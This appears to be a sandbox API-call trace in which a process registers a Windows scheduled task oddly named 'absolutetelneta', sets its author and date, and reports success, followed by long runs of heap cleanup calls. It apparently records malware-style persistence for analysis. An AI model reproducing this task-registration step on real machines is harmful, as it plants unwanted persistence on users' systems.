lstrlenW (lpString="") returned 0 [0129.176] lstrlenW (lpString="") returned 0 [0129.176] lstrlenW (lpString="") returned 0 [0129.176] IUnknown:Release (This=0x1abb7995e10) returned 0x1 [0129.176] IUnknown:Release (This=0x1abb7995c50) returned 0x1 [0129.176] ITaskDefinition:get_Settings (in: This=0x1abb7995900, ppSettings=0x1adf4cce20 | out: ppSettings=0x1adf4cce20*=0x1abb7995ad0) returned 0x0 [0129.176] lstrlenW (lpString="") returned 0 [0129.176] IUnknown:Release (This=0x1abb7995ad0) returned 0x3 [0129.176] GetLocalTime (in: lpSystemTime=0x1adf4cccd8 | out: lpSystemTime=0x1adf4cccd8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x32, wMilliseconds=0x13f)) [0129.176] ResolveDelayLoadedAPI () returned 0x7ffb1c453fa0 [0129.177] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1adf4cccf0, nSize=0x1adf4cccc8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x1adf4cccc8) returned 0x1 [0129.177] ITaskDefinition:get_RegistrationInfo (in: This=0x1abb7995900, ppRegistrationInfo=0x1adf4cccc0 | out: ppRegistrationInfo=0x1adf4cccc0*=0x1abb7995a10) returned 0x0 [0129.178] IRegistrationInfo:put_Author (This=0x1abb7995a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0129.178] _vsnwprintf (in: _Buffer=0x1adf4cccf0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1adf4ccc88 | out: _Buffer="2023-09-19T17:14:51") returned 19 [0129.178] IRegistrationInfo:put_Date (This=0x1abb7995a10, Date="2023-09-19T17:14:51") returned 0x0 [0129.178] IUnknown:Release (This=0x1abb7995a10) returned 0x1 [0129.179] malloc (_Size=0x18) returned 0x1abb7995f20 [0129.179] free (_Block=0x1abb7995f20) [0129.179] lstrlenW (lpString="") returned 0 [0129.179] malloc (_Size=0x18) returned 0x1abb7995f20 [0129.179] ITaskFolder:RegisterTaskDefinition (in: This=0x1abb7995880, Path="absolutetelneta", pDefinition=0x1abb7995900, flags=6, UserId=0x1adf4ccf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1adf4ccf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x1adf4ccf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1adf4ccef0 | out: ppTask=0x1adf4ccef0*=0x1abb7996fd0) returned 0x0 [0130.061] free (_Block=0x1abb7995f20) [0130.061] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0130.061] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0130.061] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0130.061] GetProcessHeap () returned 0x1abb7a10000 [0130.061] GetProcessHeap () returned 0x1abb7a10000 [0130.061] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1aaf0) returned 1 [0130.061] GetProcessHeap () returned 0x1abb7a10000 [0130.061] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1aaf0) returned 0xc [0130.062] GetProcessHeap () returned 0x1abb7a10000 [0130.062] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x82) returned 0x1abb7a35a20 [0130.062] _vsnwprintf (in: _Buffer=0x1adf4cd5a0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1adf4cce38 | out: _Buffer="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0130.062] __iob_func () returned 0x7ffb1de6e210 [0130.062] _fileno (_File=0x7ffb1de6e240) returned -2 [0130.062] _errno () returned 0x1abb7990840 [0130.062] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0130.062] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0130.062] lstrlenW (lpString="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0130.062] GetConsoleOutputCP () returned 0x0 [0130.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0130.062] GetConsoleOutputCP () returned 0x0 [0130.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x7ff6b6f88630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0130.062] fprintf (in: _File=0x7ffb1de6e240, _Format="%s" | out: _File=0x7ffb1de6e240) returned 77 [0130.063] fflush (in: _File=0x7ffb1de6e240 | out: _File=0x7ffb1de6e240) returned -1 [0130.063] IUnknown:Release (This=0x1abb7996fd0) returned 0x0 [0130.063] TaskScheduler:IUnknown:Release (This=0x1abb7995900) returned 0x0 [0130.063] TaskScheduler:IUnknown:Release (This=0x1abb7995880) returned 0x0 [0130.063] TaskScheduler:IUnknown:Release (This=0x1abb7995700) returned 0x0 [0130.063] lstrlenW (lpString="") returned 0 [0130.063] lstrlenW (lpString="12") returned 2 [0130.063] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0130.063] GetProcessHeap () returned 0x1abb7a10000 [0130.063] GetProcessHeap () returned 0x1abb7a10000 [0130.064] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1acd0) returned 1 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1acd0) returned 0x1fc [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14360) returned 1 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14360) returned 0x6 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ac50) returned 1 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ac50) returned 0x16 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1aa50) returned 1 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1aa50) returned 0x18 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b9a0) returned 1 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b9a0) returned 0x20 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.064] GetProcessHeap () returned 0x1abb7a10000 [0130.065] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13e80) returned 1 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13e80) returned 0xa0 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14810) returned 1 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14810) returned 0x18 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b5b0) returned 1 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b5b0) returned 0x20 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14260) returned 1 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14260) returned 0x5a [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ac10) returned 1 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ac10) returned 0x18 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b9d0) returned 1 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b9d0) returned 0x20 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] GetProcessHeap () returned 0x1abb7a10000 [0130.065] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13b40) returned 1 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13b40) returned 0x5c [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1abb0) returned 1 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1abb0) returned 0x18 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a19070) returned 1 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a19070) returned 0x20 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14300) returned 1 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14300) returned 0xe [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a142e0) returned 1 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a142e0) returned 0x18 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a19040) returned 1 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a19040) returned 0x20 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.066] GetProcessHeap () returned 0x1abb7a10000 [0130.067] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a19b60) returned 1 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a19b60) returned 0x208 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14780) returned 1 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14780) returned 0x18 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a18f20) returned 1 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a18f20) returned 0x20 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1bb90) returned 1 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1bb90) returned 0x200 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14830) returned 1 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14830) returned 0x18 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a18fe0) returned 1 [0130.067] GetProcessHeap () returned 0x1abb7a10000 [0130.067] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a18fe0) returned 0x20 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a138f0) returned 1 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a138f0) returned 0x14 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a138d0) returned 1 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a138d0) returned 0x18 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a191c0) returned 1 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a191c0) returned 0x20 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13910) returned 1 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13910) returned 0x16 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13f50) returned 1 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13f50) returned 0x18 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a190d0) returned 1 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a190d0) returned 0x20 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.068] GetProcessHeap () returned 0x1abb7a10000 [0130.069] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14a30) returned 1 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14a30) returned 0x2 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14a50) returned 1 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14a50) returned 0x20 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a143e0) returned 1 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a143e0) returned 0x20 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14410) returned 1 [0130.069] GetProcessHeap () returned 0x1abb7a10000 [0130.069] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14410) returned 0x20 [0130.070] GetProcessHeap () returned 0x1abb7a10000 [0130.070] GetProcessHeap () returned 0x1abb7a10000 [0130.070] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14440) returned 1 [0130.070] GetProcessHeap () returned 0x1abb7a10000 [0130.070] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14440) returned 0x20 [0130.070] GetProcessHeap () returned 0x1abb7a10000 [0130.070] GetProcessHeap () returned 0x1abb7a10000 [0130.070] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ba60) returned 1 [0130.070] GetProcessHeap () returned 0x1abb7a10000 [0130.070] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ba60) returned 0x20 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ac90) returned 1 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ac90) returned 0xe [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b550) returned 1 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b550) returned 0x20 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13870) returned 1 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a13870) returned 0x30 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] GetProcessHeap () returned 0x1abb7a10000 [0130.072] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b700) returned 1 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b700) returned 0x20 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14320) returned 1 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14320) returned 0x30 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b4f0) returned 1 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b4f0) returned 0x20 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1a970) returned 1 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1a970) returned 0xe [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b940) returned 1 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b940) returned 0x20 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.073] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ab30) returned 1 [0130.073] GetProcessHeap () returned 0x1abb7a10000 [0130.074] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ab30) returned 0x16 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b760) returned 1 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b760) returned 0x20 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1aa70) returned 1 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1aa70) returned 0x16 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b3d0) returned 1 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b3d0) returned 0x20 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a35a20) returned 1 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a35a20) returned 0x82 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b6d0) returned 1 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b6d0) returned 0x20 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] GetProcessHeap () returned 0x1abb7a10000 [0130.074] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ac70) returned 1 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ac70) returned 0xe [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1bb20) returned 1 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1bb20) returned 0x20 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1aa10) returned 1 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1aa10) returned 0xa [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1b520) returned 1 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1b520) returned 0x20 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1a910) returned 1 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1a910) returned 0xc [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1ba90) returned 1 [0130.075] GetProcessHeap () returned 0x1abb7a10000 [0130.075] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1ba90) returned 0x20 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a14a80) returned 1 [0130.076] GetProcessHeap () returned 0x1abb7a10000 [0130.076] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a14a80) returned 0x18 [0130.076] 